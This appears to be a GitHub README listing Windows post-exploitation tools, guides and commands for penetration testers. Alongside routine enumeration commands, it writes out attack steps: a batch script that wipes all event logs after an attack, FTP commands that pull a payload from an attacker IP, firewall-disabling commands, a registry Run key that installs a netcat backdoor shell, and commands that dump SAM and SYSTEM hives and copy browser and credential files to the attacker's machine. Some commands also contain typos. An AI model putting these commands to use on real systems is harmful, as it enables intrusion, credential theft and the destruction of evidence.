emilyanncr / Windows-Post-Exploitation

Windows post-exploitation tools, resources, techniques and commands to use during post-exploitation phase of penetration test. Contributions are appreciated. Enjoy!

post-exploitation exploiting-windows command-line hacking ethical-hacking hacking-tool

30 commits **1** branch **0** releases **1** contributor

emilyanncr Update README.md Latest commit `6824e2f` on Jan 27, 2018

Contribution Guidelines	Rename contribution guidelines to Contribution Guidelines	a year ago

README.md

Awesome Windows Post Exploitation

Your contributions and suggestions are heartily♥ welcome. (✿◕‿◕). Please check the Contributing Guidelines for more details. This work is licensed under a Creative Commons Attribution 4.0 International License.

There seems to be a ton of different lists like this, my goal is to include all of them here as well as a complete list of commands to use once an OS shell has been established and you're unable to use meterpreter. <- You won't find a more definitive list of it's kind.

Contents

PowerShell

- BloodHound - Six Degrees of Domain Admin

- Empire - Empire is a PowerShell and Python post-exploitation agent
- Generate-Macro - Powershell script will generate a malicious Microsoft Office document with a specified payload and persistence method
- Old-Powershell-payload-Excel-Delivery - This version touches disk for registry persistence
- PSRecon - PSRecon gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team
- PowerShell-Suite - Some useful scripts in powershell
- PowerSploit - A PowerShell Post-Exploitation Framework
- PowerTools - A collection of PowerShell projects with a focus on offensive operations
- Powershell-C2 - A PowerShell script to maintain persistance on a Windows machine
- Powershell-Payload-Excel-Delivery - Uses Invoke-Shellcode to execute a payload and persist on the system
- mimikittenz - A post-exploitation powershell tool for extracting juicy info from memory.
- Empire - Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent.

Privilege Escalation Tools

- Potato - Privilege Escalation on Windows 7,8,10, Server 2008, Server 2012
- Windows Privilege Excalation - Contains common local exploits and enumeration scripts
- Pentest Monkey Windows Privilege Escalation - Post-Exploitation in Windows: From Local Admin To Domain Admin (efficiently)
- Incognito - Privilege Escalation Tool

Privilege Escalation Guides

- Windows Privilege Escalation - Windows Post-exploitation Wiki
- Windows Privilege Escalation Fundamentals - Fundamentals of Windows Privilege Escalation
- Security Implications of Windows Access Tokens- A Penetration Tester's Guide

Post Exploitation Tools

- mimikatz - A little tool to play with Windows security - extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.
- Pazuzu - Reflective DLL to run binaries from memory
- UACME - Defeating Windows User Account Control
- Pupy - Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.
- Veil Pillage - Veil-Pillage is a post-exploitation framework that integrates with Veil-Evasion.
- Intersect - Post exploitation framework.
- Koadic - Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.
- Invoke-AltDSBackdoor - This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by using two Alternate Data Streams
- hackarmoury - Upload common tools from shell of compromised machine via FTP and other protocols.
- Invoke-LoginPrompt - Invokes a Windows Security Login Prompt and outputs the clear text password

Post Exploitation Guides/Wikis

- Post Exploitation Wiki - Post exploitation wiki.
- Privlege escalation with Incognito - How to use Incognito for Privilege Escalation in Windows

- Pwning Windows Domains from the Command Line - Several tools and techniques that can be used in order to compromise an entire Active Directory domain completely from the command line.
- Windows Post Exploitation Checklist
- pwnwiki - Post Exploitation Wiki (Multi-Platform)
- Windows Domain: Pivot and Profit - Techniques to move laterally when compromising a Windows machine.

Post-exploitation Techniques and Commands

- Useful Commands for Windows Administrators - Post-exploitation techniques and commands to elicit information from shell of compromised windows machine.
- A-Z List of Windows Shell Commands - A-Z Listing of all Windows CMD Commands
- Red Team Field Manual - Windows Post-Exploitation techniques and commands.

Clear Log Files

A simple script to clear logs post attack.

Create a batch file and execute it as admin.

@echo off FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G") echo. echo goto theEnd :do_clear echo clearing %1 wevtutil.exe cl %1 goto :eof :noAdmin exit

Transfer files to compromised host via non-interactive shell

In cases where you want to upload a file onto the compromised machine but you don't have an interactive shell where you simply upload the file, you can write it onto the compromised machine using FTP, feeding it one line at a time.

Create a blank file to write commands onto ftp -s:ftp_commands.txt

Echo each command (you can also do this all in one line):

echo open 10.9.122.8>ftp_commands.txt echo anonymous>ftp_commands.txt echo blah>ftp_commands.txt echo binary>ftp_commands.txt echo get met8888.exe>ftp_commands.txt echo bye>ftp_commands.txt

*Instead of ftp_commands.txt, use a unique name, hide the file in a datastream, or hide the file in the folder. aka don't be obvi

Query state of Firewall, Disable Firewall, Allow a Service Through

Query state of firewall:

netsh firewall show state

Disable firewall

netsh.exe firewall set opmode mode=disable profile=all

Allow service through firewall

netsh.exe firewall set portopening tcp 123 MYSERVICE enable all

netsh.exe firewall set allowedprogram C:\MYPROGRAM.exe

HKLM\software\microsoft\windows\ currentversion\run –d ‘C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe’ –v netcat

netsh firewall set allowedprogram c:\nc.exe allow_nc ENABLE

Query current user and privilege information

whoami

whoami /all

whoami /user

whoami /groups

whoami /priv

[Users]

net users: list users

For more info on a user:

net user (for local user)

net user /domain (for a domain user)

View domain admins:

net group "Domain Admins" /domain

View name of domain controller:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History" /v DC

Add user:

net users /add

Add user to local administrators group:

net localgroup administrators /add

Delete a user:

net users username /delete /domain

Change user's password:

net users <new_password>

[Accounts & Groups]

net accounts

net accounts /domain

net logalgroup administrators

net localgroup administrators /dmain

net group "domain Admins" /domain

net group "Enterprise Admins" /domain

net view /localgroup

net localgroup Administrators

net localgroup /Domain

gpresult: view group policy

gupdate: update group policy

gpresult /z

[Network and misc information]

systeminfo: lists information about system

ipconfig/all: Query ip configuation

ipconfig /displaydns

route print: Prints machines routing table

arp -a: Lists all systems current in the machine's ARP table

nslookup: Query server information

nbtstat: Displays protocol stats and current TCP/IP connections using NetBIOS over TCP/IP

qwinsta: Query info about RDP sessions

net session: Query session information

net time \computername (Shows the time of target computer)

net share: view shared resources on network

[Query current drives on system]

fsutil fsinfo drives

[Grab SAM and SYSTEM files]

type "C:/windows/repair/SAM"

type "C:/windows/repair/SYSTEM"

[Tasks]

tasklist /svc: lists running processes

taskkill /PID /F : forcibly kill task

taskkill taskkill /PID xxx taskkill /IM name* of process to be terminated * can be used to kill all processes with same name

tasklist /V /S computername: Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount

qprocess*: Similar to tasklist but easier to read

at: Query current scheduled tasks

schtasks: Query scheduled tasks that your current user has access to see.

schtasks /query /fo csv /v > %TEMP%

[Netstat]

netstat -ano : to see what services are running on what ports

netstat -bano

netstat -r

netstat -na | findstr :443

[Query information about server and workstation, Workstation domain name and Logon domain]

net config server

net config workstation

[Change drive to different drive letter]

ex change to D:/ directory and list it's contents:

d: & dir

cd /d d: & dir

dir \computername\share_or_admin_share\ (dir list a remote directory)

[Cat contents of file located in D:/ directory]

cd /d & type d:\blah\blah

[net view]

net view /domain[:DomainName]

net view \computerName

[Services]

View list processes started upon startup

net start

wmic startup get caption,command

[Query, Stop/Start/Pause Installed Services]

sc query state= all

sc query

sc

[Remote System Access]

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

net share \computername

tasklist /V /S computername

qwinsta /SERVER:computername

qprocess /SERVER:computername

**[WMI]*

wmic bios

wmic qfe

wmic qfe get hotfixid (This gets patches IDs)

wmic startup

wmic service

wmic os

wmic process get caption,executablepath,commandline

wmic process call create “process_name” (executes a program)

wmic process where name=”process_name” call terminate (terminates program)

wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information)

wmic useraccount (usernames, sid, and various security related goodies)

wmic useraccount get /ALL

wmic share get /ALL (you can use ? for gets help !)

wmic startup list full (this can be a huge list!!!)

wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)

[Reg Command]

reg save HKLM\Security security.hive (Save security hive to a file)

reg save HKLM\System system.hive (Save system hive to a file)

reg save HKLM\SAM sam.hive (Save sam to a file)=

reg add [\TargetIPaddr] [RegDomain][\Key]

reg export [RegDomain][Key] [FileName]

reg import [FileName]

reg query [\TargetIPaddr] [RegDomain][Key] /v [Valuename!] (you can to add /s for recurse all values)

[Deleting Logs]

wevtutil el (list logs)

wevtutil cl

[Uninstalling Software]

wmic proud get name /value: gets software names

wmic product where name="XXX": call uninstall /Interactive:Off: unintalss software

[Permissions]

icacls

Grant full access over directory and encompassing folders and files:

icacls "C:\windows" /grant Administrator:F /T

icacls "C:" /grant "nt authority\system": F /T

[Net use]

net use: Map network shares

net use \computername (maps IPC$ which does not show up as a drive)

net use \computername /user:DOMAINNAME\username password ○ (maps IPC$ under another username)

[Mount a remote share with the rights of the current user]:

net use K: \<share>

dir K:

[Enable remote desktop]

reg add "HKLM\System\CurrentControlSet\Control\TermServer" /v fDenyTSConnections /t REG_DWORD /f

net session: list session information

[Other useful Commands]

pkgmgr usefull /iu :"Package"

pkgmgr usefull /iu :"TelnetServer": install telnet service

pkgmgr /iu:"TelnetClient"

rundll32.exe user32.dll, LockWorkStation: locks the screen

wscript.exe <script js/vbs>

cscript.exe <script js/vbs/c#>

xcopy /C /S %appdata%\Mozilla\Firefox\Profiles*.sqlite \your_box

type "C:\documents and settings\administrator\userdata\index.dat"

type %WINDIR%\System32\drivers\etc\hosts: view contents of hosts files

type "c:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Credentials"

cd "C:/Documents and settings\administrator\userdata" & dir

type "c:\Documents and Settings\Administrator\Desktop\UserMysql.txt"

type "c:\Documents and Settings\Administrator\Application Data\MySQL\mysqlx_user_connections.xml"

type "C:\documents and settings\administrator\userdata\index.dat"